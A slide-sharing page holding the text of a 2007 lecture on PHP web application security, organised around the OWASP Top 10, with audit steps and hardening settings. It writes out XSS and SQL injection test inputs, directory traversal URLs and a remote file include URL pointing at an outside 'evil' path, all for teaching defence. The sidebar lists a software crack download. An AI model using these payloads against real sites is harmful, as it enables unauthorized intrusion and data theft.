Securing Account Lifecycles in the Age of Deepfakes.pptx
Securing Account Lifecycles in the Age of Deepfakes.pptx
FIDO Alliance
 
From Manual to Auto Searching- FME in the Driver's Seat
From Manual to Auto Searching- FME in the Driver's Seat
Safe Software
 
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Safe Software
 
2025_06_18 - OpenMetadata Community Meeting.pdf
2025_06_18 - OpenMetadata Community Meeting.pdf
OpenMetadata
 
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
 
Securing AI - There Is No Try, Only Do!.pdf
Securing AI - There Is No Try, Only Do!.pdf
Priyanka Aash
 
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
 
PyCon SG 25 - Firecracker Made Easy with Python.pdf
PyCon SG 25 - Firecracker Made Easy with Python.pdf
Muhammad Yuga Nugraha
 
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
pcprocore
 
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
Priyanka Aash
 
10 Key Challenges for AI within the EU Data Protection Framework.pdf
10 Key Challenges for AI within the EU Data Protection Framework.pdf
Priyanka Aash
 
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
ICT Frame Magazine Pvt. Ltd.
 
Techniques for Automatic Device Identification and Network Assignment.pdf
Techniques for Automatic Device Identification and Network Assignment.pdf
Priyanka Aash
 
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
Securing Account Lifecycles in the Age of Deepfakes.pptx
Securing Account Lifecycles in the Age of Deepfakes.pptx
FIDO Alliance
 
From Manual to Auto Searching- FME in the Driver's Seat
From Manual to Auto Searching- FME in the Driver's Seat
Safe Software
 
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Safe Software
 
2025_06_18 - OpenMetadata Community Meeting.pdf
2025_06_18 - OpenMetadata Community Meeting.pdf
OpenMetadata
 
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
 
Securing AI - There Is No Try, Only Do!.pdf
Securing AI - There Is No Try, Only Do!.pdf
Priyanka Aash
 
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
 
PyCon SG 25 - Firecracker Made Easy with Python.pdf
PyCon SG 25 - Firecracker Made Easy with Python.pdf
Muhammad Yuga Nugraha
 
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
pcprocore
 
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
Priyanka Aash
 
10 Key Challenges for AI within the EU Data Protection Framework.pdf
10 Key Challenges for AI within the EU Data Protection Framework.pdf
Priyanka Aash
 
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
ICT Frame Magazine Pvt. Ltd.
 
Techniques for Automatic Device Identification and Network Assignment.pdf
Techniques for Automatic Device Identification and Network Assignment.pdf
Priyanka Aash
 
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
 

Web Application Security with PHP

  • 1. Web Application Security Javed Ikbal www.zsquad.com Brown University, March 26, 2007
  • 3. Why Web Application Security? • Because everyone can touch web apps • And applications are hard to secure • This presentation: – Shows where web apps are vulnerable – Shows how to identify the issues – Is not a secure coding primer, only the foreword 3
  • 4. Web Applications • ... are everywhere • More apps being web-enabled every day • CSI/FBI Survey: website incidents in 2006 by respondent % 4
  • 5. .. “That's where the money is!” • Quote attributed to Willie Sutton, a bank robber, answering why he robbed banks. – (Invented by an enterprising reporter. Mr. Sutton never actually said this) • Why web applications are attacked? – Money? – Fame (street creds)? – Access! 5
  • 6. Cast of Characters and Motivation Organized Crime + Insider + Hackers Hacker Insider / Student Professional Hacker Organized Crime Curiosity Risk Self-satisfaction Theft Prove a point Greed Attack launch point Disgruntled Insider Illegal downloads Hacktortion Revenge Cyber Terrorist Political Agenda Insider / Student Hacktivism Profit motivation Mercenaries Probability increases with Larger Internet presence Script Kiddies Amateurs Recognition Lets see if Notoriety I can do it Street Credentials Probability of Attack 6
  • 7. Cast of Characters and Motivation Harvard rejects 119 accused of hacking Applicants' behavior 'unethical at best' Man charged with hacking university site A 25-year-old computer network expert from San Diego was charged this week in Los Angeles with hacking into a University of Southern California admissions site last June... In all, the attack last June compromised personal records of more than 270,000 past and present university applicants...It is believed Eric McCarty, the man charged, used a vulnerability in the online application system and gained access to personal records of applicants including dates of births and SSN numbers. Oxford students hack university network "in minutes" Two Oxford University students are facing suspension and a fine after they hacked into the University computer system to show just how easy it was to access supposedly secure personal details. 7
  • 8. 3-Tier Web Architecture Allow just the Webserver to talk You actually have a Firewall Allow (anyone) to to the App server, and only the here? Excellent! connect to port App server to talk to the Web Allow 2-way communication 443 and Server using specific source/ between App Server and DB NOTHING ELSE destination ports Server using specific ports HTTPS ? ? Enterprise Red Zone Yellow Zone Green Zone Presentation Application Database (web server) (application server) (database server) 8
  • 9. No Application Server Allow just the Webserver to talk to Allow (anyone) to the Database server, and only the connect to port database server to talk to the Web 443 and Server using specific source/ NOTHING ELSE destination ports Enterprise HTTPS ? Red Zone Green Zone Presentation Database (web server) (database server) 9
  • 10. The Problem With Firewalls • Traditional Firewalls understand source and destination IP addresses and ports • Anything inside the TCP packet is invisible to the firewall • App firewalls work— hard to configure • The Castle and Moat Security Model: 10
  • 11. HOW? • Attacks flow inside the HTTP/HTTPS request – Like poison in delicious food • Firewalls never see them • Comes from allowed sources, going to allowed destination and port – The firewall is the Moat, alligators are the attacks – So requests and responses are passed merrily along: Web server passes to app server, which forwards to database server • Need another layer of defence – Do you have a Castle inside the moat? 11
  • 13. The OWASP Top-10 • From the Open Web Application Security Project – (http://www.owasp.org/) • U.S. Federal Trade Commission strongly recommends that all companies use the OWASP Top Ten and ensure that their partners do the same. • U.S. Defence Information Systems Agency lists this as part of the Defence Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP). • The Payment Card Industry (PCI) standard has adopted the OWASP Top Ten, and requires (among other things) that all merchants get a security code review for all their custom code. • Many other companies have adopted the Top-Ten 13
  • 14. The OWASP Top-10 A1. Unvalidated Input A2. Broken Access Control A3. Broken Authentication and Session Management A4. Cross Site Scripting A5. Buffer Overflow A6. Injection Flaws A7. Improper Error Handling A8. Insecure Storage A9. Application Denial of Service A10. Insecure Configuration Management 14
  • 15. On to the Web Application • A1. Unvalidated Input – DO NOT TRUST user input – Can be the root of lots of evil – Can cause information leakage – Buffer overflow – Parameter tampering • Example: T-Shirt <input type=hidden name="Item" value="T-Shirt"><br> Price $12.00<input type=hidden name="Price" value="12.00"><br> 15
  • 16. A1. Unvalidated Input • What is allowed and not allowed? In what format? • Secure coding: Validate and reject bad input Input Filtering – http://www.phpclasses.org/browse/package/2189.html – http://support.microsoft.com/kb/q253119/ SQL Injection – http://www.phpclasses.org/browse/package/1341.html • OWASP online resources 16
  • 17. A1. Unvalidated Input • Best (and most time consuming) way: Source code review • Commercial tools are very expensive, but worth it depending on the information value • Application Testing Tools – Free tool: WebScarab – Commercial: AppScan, WebInspect, a few others – Still no match for an experienced human • Web App Firewalls work but require careful tuning – CodeSeeker: free application firewall from OWASP – mod_security: an Apache application security firewall 17
  • 18. A2. Broken Access Control • Who is allowed and not allowed? – Does access privilege meet roles? – Is the data entry operator using the admin password? • Insecure ID • Forced Browsing: Security by obscurity doesn't work • Path Traversal: Relative path information (e.g., “../../target_dir/target_file”) works • File Permissions • Client-side caching • Secure coding: – Define ACLs and role-based access control – Validate ID at each access request 18
  • 19. A3. Broken Authentication & Session Management • How is the log-in process protected? – Do NOT use referer as the primary control • Once logged in, how is the user tracked? • Password strength, use, and change process – Default accounts and passwords? • Never store actual passwords, only a hash • Credentials in transit: SSL being used? • Secure coding – Session-id should never be part of the URL, should be random and long, and should be changed often – Idle time-out should be used – Authentication screen should not use GET method 19
  • 20. A4. Cross-Site Scripting (XSS) • Does the site echo back form data? • A way to “inject” content to a page • Can be an easy way to steal session-id • Many other ways to exploit XSS vulnerability – See the XSS FAQ • Testing: Enter <script>alert(1)</script> in web form fields. If a window pops up, you have an XSS vulnerability • Secure Coding: The OWASP way – Validate the input! 20
  • 21. A5. Buffer Overflow • PHP and C/C++ are vulnerable, Java is not • Occurs when more information than a memory location can handle is stuffed into it – Extra information overwrites instruction location, and may get executed. • Difficult to exploit, but devastating impact (Code Red, NIMDA worms) • Keep up with patches and bug reports, and periodically scan infrastructure • Validate Input! 21
  • 22. A6. Injection Flaws • Malformed input resulting in a command execution • Suppose login logic is like this: IF userid and password matches, set Result = 'success' IF 'success' then let user in • Attacker enters '1=1' in the userid field • SQL will evaluate this as TRUE and return 'success' • Secure coding: – Avoid making system calls – For databases, use stored procedures instead of passing user input – And did we mention input validation? 22
  • 23. A7. Improper Error Handling • If the application fails – Will it fail closed? Fail open? – What error message is displayed? – Secure Coding: • Have a “catch-all” error trapping mechanism with custom messages • Do not dump system error messages directly [FormatException: Input string was not in a correct format.] Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) +193 Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +97 [InvalidCastException: Cast from string "Select -->" to type 'Integer' is not valid.] Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +212 lpr.language_picker.get_mykey() in C:jaywebsitesabluser_controlslanguage_picker.ascx.vb:45 lpr.empbioform_langs.add_button_Click(Object sender, EventArgs e) in C:jaywebsitesqprempbioform_langs.ascx.vb:80 System.Web.UI.WebControls.Button.OnClick(EventArgs e) +108 BPeter.VAM.Button.OnClick(EventArgs pE) +71 23
  • 24. A8. Insecure Storage • Run, don't walk, if you hear: “I wrote this encryption algorithm. It's proprietary, and very fast. Our data is protected using this algorithm.” • When it comes to cryptographic algorithms: – Proprietary or Secret Algorithm = BAD • DES is Dead. 3DES or AES is OK • SHA-1 and MD5 will be dead in a few years • What is being protected and for how long? • Secure coding: Use a tested/proven library, and protect the keys, certificates and passwords 24
  • 25. A9. Application Denial of Service • Not network DoS (e.g. TCP SYN floods) • Can the application be crashed? • Can it be slowed down? • Can it be forced to give up information? • Secure coding: – Load test, specially what unauthenticated users can do – Do not make unnecessary database calls • E.g. Don't check userid for existence, and if found, then look for the password match – Don't make unnecessary disk reads – Serve static content as cache out of the web or app layer (or from a cache) 25
  • 26. A10. Insecure Configuration • Wide range of misconfigurations – Or outdated systems • Unpatched security flaws • Unnecessary default, backup, or sample files • Improper file permissions • Unnecessary services enabled • Default accounts with their default passwords • Overly informative error messages • Misconfigured encryption settings • Default or self-signed certificates • Improper authentication with external systems 26
  • 27. A10. Insecure Configuration • Do you rename your files as .old or .bak? • Or put the database config in a .inc file? – I used to. Not any more. Use db.inc (or some other inc file for database connection credentials? Where is this .inc file located? If someone can guess the path, the contents will be displayed! Move above webroot, or rename to .php 27
  • 28. A10. Insecure Configuration • Using JavaScript to enforce security? <script src="javascript/globalattrib.js" type="text/javascript"></script> • Contents of globalattrib.js: // Global constants BRole = "B"; MRole = "M"; AdminRole = "ADMIN"; var maxBlockRecords = 20; • I can write my own HTML and set whatever variable value I want 28
  • 29. Recommended PHP Configuration display_errors = Off (turn on with ini_set or .htaccess) log_errors = On error_reporting = E_ALL (better error reporting) session.gc_maxlifetime=600 (ten minutes of inactivity) safe_mode = On (enable if possible) safe_mode_gid = On (enable if possible) 29
  • 30. Secure Development Process • Start with Guidelines, Policies and Standards Security starts here? Security starts here? Good! Not good. Security Design Code Penetration Requirements Review Review Testing DEPLOY/ Requirements DESIGN DEVELOP TEST IMPLEMENT MAINTAIN 30
  • 31. 10 Principles of Secure Coding 1. Security should be seen as an integral part of the application design process and not as an afterthought. 2. “Security through obscurity,” or relying on others not knowing what you are doing, is a highly unreliable security practice. 3. Simplicity of application design simplifies the application of security. 4. All input is to be distrusted, even when coming from trusted systems. 5. All entities in the system should be granted the least level of privilege required to accomplish their necessary tasks. 31
  • 32. 10 Principles of Secure Coding 6. When an error is encountered, ensure that the system fails in a secure manner. 7. Force all permissions in the system to be explicitly granted or else be denied. 8. Any and all output must be sanitized to prevent information disclosure or relayed attacks. 9. Application segmentation is a useful technique to limit an attacker’s range of action. 10. Multi-layered security models reduce the impact of individual security bypasses. 32
  • 33. Data Validation • Validate all data coming from the client/browser. Ensure all data is: – Well formed, and – Of a proper length (both maximum and minimum length checks are required) • Validation must occur before using or storing the data. • Do not base security on HTTP Referer • All data validation must occur on the server-side. – Optionally, client side validation (JavaScript, etc) may be used as another layer but should never be the only method 33
  • 34. Data Validation Required: • Only checking for null or empty values does not satisfy the requirements for a well-formed and length check on the incoming data fields. Each field needs some level of validation to ensure it does not contain malicious data. • Suspicious characters related to Cross-site Scripting attacks should NOT be allowed unless they are required by the application. The suspicious characters (sorted by highest risk) include: < > “ ‘ ( ) ; % + & 34
  • 36. PHP Security Resources • All software has bugs • PHP itself is no exception – MOPB: http://www.php-security.org/ • http://www.modsecurity.org/ – Web Application Firewall for PHP • Bad news: mod_security itself had issues • Zend has issues too • Your PHP code may (will) have security issues. Security guide: – http://phpsec.org/projects/guide/ 36
  • 37. OWASP A1: Unvalidated Input • Anything you create does not need further validation. $email = '[email protected]'; can be trusted • Everything else needs to be validated $email = $_POST['email']; can NOT be trusted • Validate all input at the server, even if its validated on the client once • Use a centralized validation engine (makes maintenance easier) • If possible, use a “approved”-list instead of a “deny”-list. Deny if not explicitly approved • Decode URLs before validation • Reading a filename or path? Verify! • Verify XML documents against schema 37
  • 38. OWASP A1: Unvalidated Input • If you allow any input AND render it as-is, people can add JavaScript to your page. Result: anyone viewing that page could lose their session cookie to an attacker. <form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form> <?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?> • Distrust user input and any data coming from the browser, like http referer 38
  • 39. PHP register_global • http://us2.php.net/register_globals • register_global is a PHP directive that, when 'ON', allows variables with global scope to be 'seen' by your script • Turned off by default starting with PHP 4.2.0 <?php // http://thispage.com/auth.php // define $authorized = true only if user is authenticated if (authenticated_user()) { $authorized = true; } // what if I type: // http://thispage.com/auth.php?authorized=1 // I just passed the IF test and set $authorized = true if ($authorized) { include "/highly/sensitive/data.php"; } ?> 39
  • 40. PHP register_global • Or how about this: // this file = loadscript.php <?php include "$path/script.php"; // verify password .... ?> • With register_global ON, I can get the page with loadscript.php?path=http://zsquad.com/evil and instead of the local script.php, your PHP code will load http://zsquad.com/evil/script.php 40
  • 41. PHP register_global • Remediation: – Turn it off: WILL break lots of scripts – Rewrite using $_POST and $_GET superglobals – Explicitly initialize variables – Develop with error_reporting set to E_ALL • mod_security: (just blocking $authorized) <Location "/vulnerable-application/"> SecFilterSelective ARG_authorized "!^$" </Location> • Disable globally, then use .htaccess to turn on selectively for apps that need it (and then fix those) php_value register_globals 1 41
  • 42. Back to .inc files • Sample database.inc: <?php // filename: database.inc $host = 'example.org'; $username = 'myuser'; $password = 'myR3@77yKOMplICATEDpassW04d'; $db = mysql_connect($host, $username, $password); ?> • Apache will happily serve up .inc file source • Sysadmins: add to httpd.conf (on Apache) <Files ~ ".inc$"> Order allow,deny Deny from all </Files> 42
  • 43. Databases (MySql or SQL Server) • If you are passing unfiltered input to the database, someone may send in additional commands • Password change dialog: whatever is in the new password field is used to construct the SQL UPDATE users SET password = $newpass WHERE username = 'javed'; • I can't change username, but I am entering $newpass • What will the same SQL look like if I entered $newpass = 'myNewPass' where username = 'javed' or username like 'pat%' -- UPDATE users SET password = 'myNewPass' where username = 'javed' or username like 'pat%' -- 43
  • 44. Database issues contd. • For MySql, use mysql_real_escape_string() • Similar functions available for most databases • If nothing is available, use addslashes() • The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data. – Do not use addslashes() on strings that have already been escaped with magic_quotes_gpc as this will result in double escaping. – Use get_magic_quotes_gpc() to check 44
  • 45. Session Management • How do we keep track of users once they log in? • Can Johnny claim that he is James? • Regenerate session id after login and everytime privilege changes. Heck, do it every 15 minutes. <?php session_start(); if (!isset($_SESSION['initiated'])){ session_regenerate_id(); $_SESSION['initiated'] = true; } ?> 45
  • 46. Session Management • By default, session data is stored in /tmp • So if you and I share a server, can I read your session data? – Probably. Session files are owned by the webserver process. My PHP scripts will be able to read them. – safe_mode directive can block PHP. I can easily write the code in Perl to read the files. • Once I have the session data, I can set the cookie, and assume another user's identity • So store the sessions in a database – http://www.phpclasses.org/browse/package/1624.html • Other methods: – http://www.phpclasses.org/browse/package/2794.html 46
  • 47. Application Audit (or how not to develop web applications) 47
  • 49. FireFox with Web Developer Extn • http://zsquad.com/download, or • http://getfirefox.com & http://chrispederick.com/work/webdeveloper/ • Lets start at: http://www.acme-hackme.com/feedback.aspx • From the WDE menu: – select Forms->Display Form Details 49
  • 50. FireFox with Web Developer Extn • Hmm.. a hidden field with what looks like a filename • What will happen if I change the filename? – What if I change the name AND the path? • Instant defacement (or phishing!) 50
  • 51. Directory Traversal http://www.acme-hackme.com/default.aspx?content=pr/20061109.htm • default.aspx is passed the path to a filename, and it is displayed. • Can we guess paths and other filenames? http://www.acme-hackme.com/default.aspx?content=../pr/20061109.htm • Ouch! (or Got you!) 51
  • 52. Default Accounts • We can login with 'admin' & 'admin' – Ok, that's just an extreme example • What happens if we don't enter a passwod? – A JavaScript popup – WDE ->Disable->JavaScript->All JavaScript • No popups, no warnings: • Doing client side validation only 52
  • 53. Brief Detour to Error Messages • From another site: Error Diagnostic Information ODBC Error Code = 37000 (Syntax error or access violation) [Microsoft][ODBC SQL Server Driver][SQL Server]Line 3: Incorrect syntax near '='. SQL = "Update tblMember set dteEdited=getdate() where intResID=" • Error message giving up table name, a date field, and the index to the table. 53
  • 54. SQL Injection Attack • A forced error may show the SQL • Or the attacker can just guess – SQL query for authentication probably looks like: “select * from users where user='userID' and pass='password' • The userID and password is taken from the web form • So if I enter: aa' or user like 'a%' -- • The SQL becomes: select * from users where user='aa' OR user like 'a%' -- ' and pass='password' which becomes: • select * from users where user like 'a%' 54
  • 58. Once more: • Secure Applications do not “happen” – They are consciously designed and built • Conclusion: Any given large web application, unless extensively tested: – Will have vulnerabilities • Not too difficult to find • Educate development group • Audit staff is the last line of defence 58
  • 59. Web App Auditing in 5 Steps: • 1. Do you have authorization and a GET OUT OF JAIL FREE letter? • 2. Find all web forms in the application. • Look for hidden fields (use WDE). How is the information being used? • In all the form fields, enter the following: <script>alert("Hello")</script> and submit – (use WDE to bypass length restrictions). If you see a pop-up, you just broke the app and launched a successful cross-site scripting attack 59
  • 60. Web App Auditing in 5 Steps: • 3. Use WDE to display the form detail for all forms, specially log-in forms • If you see METHOD=”GET” that is a problem (information will be stored in logs) • 4. Add ../ in the URL. See what the error message is • 5. In login forms, enter a single quote (') and see what the error message is. If the output contains “SQL” anywhere, there might be potential SQL injection issues 60
  • 61. Questions 61